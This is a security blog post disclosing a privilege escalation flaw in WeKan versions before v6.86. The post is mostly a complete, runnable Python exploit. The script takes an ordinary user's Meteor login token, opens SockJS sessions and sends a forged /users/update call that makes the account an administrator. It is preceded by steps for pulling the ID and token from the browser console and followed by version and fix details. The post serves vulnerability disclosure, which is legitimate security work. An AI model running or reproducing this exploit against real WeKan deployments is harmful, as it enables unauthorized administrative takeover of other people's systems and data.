MOHAMMED ADEL
Published on

Wekan; Privilege Escalation from User to Administrator

Authors
  • avatar
    Name
    MOHAMMED ADEL
    Twitter

Disclaimer

The exploit provided here is intended solely for educational and testing purposes. Any unauthorized or malicious use of this exploit to compromise security systems or networks is strictly prohibited and illegal. The responsibility for ethical and lawful use lies entirely with the user.

Discovery Story

The discovery of this vulnerability occurred while I was working on a freelance project. I promptly reported this security flaw to WeKan, only to discover that another diligent researcher, Christian Pöschl, had already reported this vulnerability a few months prior to my submission.

Short Summary

An authenticated threat actor has the ability of escalating his/her privileges to system administrator by exploiting a couple of endpoints via specially crafted HTTP requests.

Prerequisites

Before initiating the exploit, three prerequisites must be met:

  1. Possession of a low-privileged account within the targeted application.

  2. The value of the USER ID associated with the low-privileged account, which can be obtained by executing the following code in the developer's console while logged in: Meteor.userId();

  1. The value of the USER TOKEN associated with the low-privileged account, which can be obtained by executing the following code in the developer's console while logged in: Meteor._localStorage.getItem('Meteor.loginToken')

Exploit

With all the prerequisites in place, execute the exploit using the following command:

python3 Wekan-Exploit.py http://vulnerable.app USER_ID USER_TOKEN

Wekan-Exploit.py
# Written by Mohammed Adel
import string
import random
import sys, time
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

################################################################################
# Generate socket_id & server_id
def socket_id(size=8, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

def server_id(size=3, chars=string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
################################################################################


################################################################################
# Eelvate Privilges Functions.
def confirming_changes(token_id, socket_idd, server_idd, user_id, target_url):
	confirming_url = target_url+"/sockjs/"+server_idd+"/"+socket_idd+"/xhr"
	confirming_cookies = {"meteor_login_token": token_id}
	confirming_headers = {"Sec-Ch-Ua": "", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36", "Sec-Ch-Ua-Platform": "\"\"", "Accept": "*/*", "Origin": target_url, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": target_url+"/people", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
	r = requests.post(confirming_url, headers=confirming_headers, cookies=confirming_cookies, verify=False)
	if "updated" in r.text or "added" in r.text:
		print("[+] Account ["+user_id+"] is now an Administrator.")
	else:
		print("[-] Something went wrong!!")
		print(r.text)
def Override_Account(token_id, socket_idd, server_idd, user_id, target_url):
	print("\n[*] Initializing Privilege Escalation")
	override_url = target_url+"/sockjs/"+server_idd+"/"+socket_idd+"/xhr_send"
	override_cookies = {"meteor_login_token": token_id}
	override_headers = {"Sec-Ch-Ua": "", "Sec-Ch-Ua-Platform": "\"\"", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36", "Content-Type": "text/plain;charset=UTF-8", "Accept": "*/*", "Origin": target_url, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": target_url+"/people", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
	override_json=["{\"msg\":\"method\",\"id\":\"7\",\"method\":\"/users/update\",\"params\":[{\"_id\":\""+user_id+"\"},{\"$set\":{\"profile.fullname\":\"polar\",\"isAdmin\":true,\"loginDisabled\":false,\"authenticationMethod\":\"password\",\"importUsernames\":[null],\"modifiedAt\":{\"$date\":1689007783416}}},{}]}"]
	r = requests.post(override_url, headers=override_headers, cookies=override_cookies, json=override_json, verify=False)
	if r.status_code == 204:
		print("[+] Request to Escalate Account ["+user_id+"] Privileges is sent Successfully")
		confirming_changes(token_id, socket_idd, server_idd, user_id, target_url)
	else:
		print("[-] Something went wrong!!")
		print(r.text)
################################################################################

################################################################################
# Add current token to collection
def confirm_changes_add_collection(token_id, socket_idd, server_idd, user_id, target_url):
	confirm_collection_url = target_url+"/sockjs/"+server_idd+"/"+socket_idd+"/xhr"
	confirm_collection_cookies = {"meteor_login_token": token_id}
	confirm_collection_headers = {"Sec-Ch-Ua": "", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36", "Sec-Ch-Ua-Platform": "\"\"", "Accept": "*/*", "Origin": target_url, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": target_url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
	r = requests.post(confirm_collection_url, headers=confirm_collection_headers, cookies=confirm_collection_cookies, verify=False)
	if "added" in r.text:
		print("[+] Token ["+token_id+"] Added to Admins Collection Successfully.")
		Override_Account(user_token, socket_idd, server_idd, user_id, target_url)
	else:
		print("[-] Something went wrong!!")
		print(r.text)

def add_token_to_admin_collections(token_id, socket_idd, server_idd, user_id, target_url):
	print("\n[*] Initializing Collection Adding...")
	acollection_url = target_url+"/sockjs/"+server_idd+"/"+socket_idd+"/xhr_send"
	acollection_cookies = {"meteor_login_token": token_id}
	acollection_headers = {"Sec-Ch-Ua": "", "Sec-Ch-Ua-Platform": "\"\"", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36", "Content-Type": "text/plain;charset=UTF-8", "Accept": "*/*", "Origin": target_url, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": target_url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
	acollection_json=["{\"msg\":\"method\",\"id\":\"15\",\"method\":\"login\",\"params\":[{\"resume\":\""+user_token+"\"}]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"meteor.loginServiceConfiguration\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"meteor_autoupdate_clientVersions\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"user-admin\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"boards\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"announcements\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"tableVisibilityModeSettings\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"board\",\"params\":[\"kd3EzbqRW5XiPntqi\",false]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"mailServer\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"accountSettings\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"tableVisibilityModeSettings\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"announcements\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"globalwebhooks\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"user-authenticationMethod\",\"params\":[\"aalsabilah\"]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"setting\",\"params\":[]}", "{\"msg\":\"sub\",\"id\":\"\",\"name\":\"tableVisibilityModeSettings\",\"params\":[]}"]
	r = requests.post(acollection_url, headers=acollection_headers, cookies=acollection_cookies, json=acollection_json, verify=False)
	if r.status_code == 204:
		print("[+] Adding the following token ["+token_id+"] to the Admins Collection")
		confirm_changes_add_collection(token_id, socket_idd, server_idd, user_id, target_url)
	else:
		print("[-] Something went wrong!!")
		print(r.text)
################################################################################

################################################################################
# The process of connecting to a socket.
def check_socket_connection(user_token, socket_idd, server_idd, user_id, target_url):
	check_con_url = target_url+"/sockjs/"+server_idd+"/"+socket_idd+"/xhr"
	check_con_headers = {"Sec-Ch-Ua": "", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36", "Sec-Ch-Ua-Platform": "\"\"", "Accept": "*/*", "Origin": target_url, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": target_url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
	r = requests.post(check_con_url, headers=check_con_headers, verify=False)
	check_con_value = r.text
	if "connected" in check_con_value.strip():
		print("[+] SOCKET ID ["+socket_idd+"] is now CONNECTED.")
		add_token_to_admin_collections(user_token, socket_idd, server_idd, user_id, target_url)
	else:
		print("[-] Something went wrong!!")
		print(check_con_value)

def connect_socket(user_token, socket_idd, server_idd, user_id, target_url):
	connect_url = target_url+"/sockjs/"+server_idd+"/"+socket_idd+"/xhr_send"
	connect_headers = {"Sec-Ch-Ua": "", "Sec-Ch-Ua-Platform": "\"\"", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36", "Content-Type": "text/plain;charset=UTF-8", "Accept": "*/*", "Origin": target_url, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": target_url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
	connect_json=["{\"msg\":\"connect\",\"version\":\"1\",\"support\":[\"1\",\"pre2\",\"pre1\"]}"]
	r = requests.post(connect_url, headers=connect_headers, json=connect_json, verify=False)
	if r.status_code == 204:
		print("[+] #3 Of Creating a Socket Connection: OK")
		check_socket_connection(user_token, socket_idd, server_idd, user_id, target_url)
	else:
		print("[-] Something went wrong!!")
		print(r.status_code)

def create_socket_2(user_token, socket_idd, server_idd, user_id, target_url):
	csocket2_url = target_url+"/sockjs/"+server_idd+"/"+socket_idd+"/xhr"
	csocket2_headers = {"Sec-Ch-Ua": "", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36", "Sec-Ch-Ua-Platform": "\"\"", "Accept": "*/*", "Origin": target_url, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": target_url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
	r = requests.post(csocket2_url, headers=csocket2_headers, verify=False)
	create_socket_2_value = r.text
	if "server_id" in create_socket_2_value.strip():
		print("[+] #2 Of Creating a Socket Connection: OK")
		connect_socket(user_token, socket_idd, server_idd, user_id, target_url)
	else:
		print("[-] Something went wrong!!")
		print(create_socket_2_value)

def create_socket_1(user_token, socket_idd, server_idd, user_id, target_url):
	print("\n[*] Initializing Socket Connection...")
	csocket_url = target_url+"/sockjs/"+server_idd+"/"+socket_idd+"/xhr"
	csocket_headers = {"Sec-Ch-Ua": "", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36", "Sec-Ch-Ua-Platform": "\"\"", "Accept": "*/*", "Origin": target_url, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": target_url, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
	r = requests.post(csocket_url, headers=csocket_headers, verify=False)
	create_socket_1_value = r.text
	if "o" == create_socket_1_value.strip():
		print("[+] #1 Of Creating a Socket Connection: OK")
		create_socket_2(user_token, socket_idd, server_idd, user_id, target_url)
	else:
		print("[-] Something went wrong!!")
		print(create_socket_1_value)

################################################################################
target_url = sys.argv[1] # url [https://todo.com]
user_id = sys.argv[2] # User ID [uJdxRLdPApPZuWJ5G]
user_token = sys.argv[3] # meteor_login_token [3xrGohnY7vLazlHWQP4QUVZf_16nYNBJOJT5RZVBtzn]
server_idd = server_id()
socket_idd = socket_id()

print("[*] Starting...")
print("[+] Target URL: "+target_url)
print("[+] USER ID:  "+user_id)
print("[+] USER TOKEN: "+user_token)
print("[+] Random Server ID: "+server_idd)
print("[+] Random Socket ID: "+socket_idd)
create_socket_1(user_token, socket_idd, server_idd, user_id, target_url)

Publicly Accessible WeKan Applications

Affected Versions

As per the WeKan security advisory, it has been identified that all versions preceding v6.85 are vulnerable to a privilege escalation exploit.

Fix

According to the WeKan security advisory, the vulnerability has been successfully addressed and resolved in version v6.86, which was officially released on April 26, 2023.

Reference

https://wekan.github.io/hall-of-fame/adminbleed/